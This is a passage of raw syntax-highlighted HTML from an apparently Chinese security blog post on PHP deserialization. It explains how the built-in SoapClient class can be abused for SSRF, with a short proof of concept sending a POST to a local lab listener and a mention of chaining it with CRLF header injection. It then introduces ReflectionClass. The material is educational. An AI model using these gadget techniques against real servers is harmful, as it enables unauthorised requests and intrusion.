style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">action</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">version</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> bool</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">oneWay</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> false</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getCookies</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getFunctions</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getLastRequest</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getLastRequestHeaders</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getLastResponse</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getLastResponseHeaders</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __getTypes</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __setCookie</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">value</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> void</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __setLocation</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">location</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __setSoapHeaders</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> SoapHeader</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">|array|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> bool</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __soapCall</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">options</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> SoapHeader</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">|array|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">inputHeaders</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">outputHeaders</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> mixed</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>可以看到，该内置类有一个 <code>__call</code> 方法，当 <code>__call</code> 方法被触发后，它可以发送 HTTP 和 HTTPS 请求。正是这个 <code>__call</code> 方法，使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。</p>\n<p>该类的构造函数如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">public</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> SoapClient</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ::</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> SoapClient</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">mixed</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">wsdl</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">，array</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">options</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<ul>\n<li>第一个参数是用来指明是否是 wsdl 模式，将该值设为 null 则表示非 wsdl 模式。</li>\n<li>第二个参数为一个数组，如果在 wsdl 模式下，此参数可选；如果在非 wsdl 模式下，则必须设置 location 和 uri 选项，其中 location 是要将请求发送到的 SOAP 服务器的 URL，而 uri 是 SOAP 服务的目标命名空间。</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>WEB服务的三要素：SOAP WSDL UDDI</span></span>\n<span class=\"line\"><span>1.SOAP:SOAP 协议是一种基于 XML 的协议，用于在 Web 应用程序之间进行交互，主要用于 Web 服务。</span></span>\n<span class=\"line\"><span>2.WSDL:是一种 XML 文档，用于描述 Web 服务。</span></span>\n<span class=\"line\"><span>3.UDDI:是一个用于发布和发现 Web 服务的目录服务，它提供了一种标准的方式来描述 Web 服务的元数据信息，并将这些信息注册到 UDDI 目录中。</span></span></code></pre>\n<p>我尝试用以下这段代码去触发一个SSRF</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> SoapClient</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\">array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">location</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://192.168.1.40:5000</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">uri</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://test-uri</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> hello</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Hello</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/soapclient.png\" class=\"\" title=\"soapclient\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>192.168.1.40 - - [15/Feb/2026 17:08:33] \"POST / HTTP/1.1\" 200 -</span></span></code></pre>\n<p>的确POST一个内容上去</p>\n<p>但是，由于它仅限于 HTTP/HTTPS 协议，所以用处不是很大。而如果这里 HTTP 头部还存在 CRLF 漏洞的话，但我们则可以通过 SSRF + CRLF，插入任意的 HTTP 头。</p>\n<h3 id=\"反射类reflection\"><a class=\"anchor\" href=\"#反射类reflection\">#</a> 反射类Reflection</h3>\n<h4 id=\"reflectionclass\"><a class=\"anchor\" href=\"#reflectionclass\">#</a> ReflectionClass</h4>\n<ul>\n<li>ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">public</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionClass</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">::</span><span style=\"color:#59873A;--shiki-dark:#80A665\">__construct</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">mixed</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argument</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<ul>\n<li><code>$argument</code>：既可以是包含类名的字符串（string）也可以是对象（object）。</li>\n</ul>\n<p>比如一下这段代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionClass</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionclass.png\" class=\"\" title=\"reflectionclass\"></p>\n<p>它能把类里面属性和方法的名字都能够显示出来。</p>\n<p>这个类还有一个特别的用处是给私有属性赋值：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span 